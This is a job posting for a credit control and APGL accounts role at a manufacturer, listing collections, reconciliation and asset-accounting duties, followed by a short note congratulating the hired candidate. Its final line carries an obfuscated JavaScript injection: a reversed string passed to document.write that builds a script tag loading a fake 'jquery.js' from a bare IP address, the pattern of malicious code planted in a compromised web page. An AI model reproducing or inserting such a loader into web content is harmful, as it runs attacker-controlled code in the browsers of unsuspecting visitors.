Industry : Manufacturer
Location : LRT accessible

Responsibilities:

1) Credit Control
– Initiate collection follow up with customer and sales team via phone calls and email
– Issue necessary reminder letters to customer on outstanding matters
– Demonstrate sound judgment, prompt follow-up, timely escalations to both internal and external management
– Initiates the dispute resolution process with internal folks/customers and ensures one off solution
– To identify Potential Bad Debt Accounts (if any) on monthly reporting
– Proceed with account reconciliation to ensure a proper management on customer’s transaction
– To build and maintain rapport with customer and at the same time setting expectation with customer on company’s payment policy

2) APGL
– Asset management
o create, delete, and write off, analysis, check
o run depreciation during month end
o liaise with factory people
– MIRO – Interco invoice receiving process
– MAPH – Full set of account and HFM Interco reconciliation
– Bank Reconciliation on weekly basis
– Administrative work & Ad hoc request
o dealing with dispatch – delivering documents e.g. co sec, bank, auditor, tax agent
o preparing acknowledgement letters as and when needed
o filing and documentation

Congratulations to the young, energetic and confident lady who was selected although applied at the last minute! 🙂 Thanks to all others who have applied for this position document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))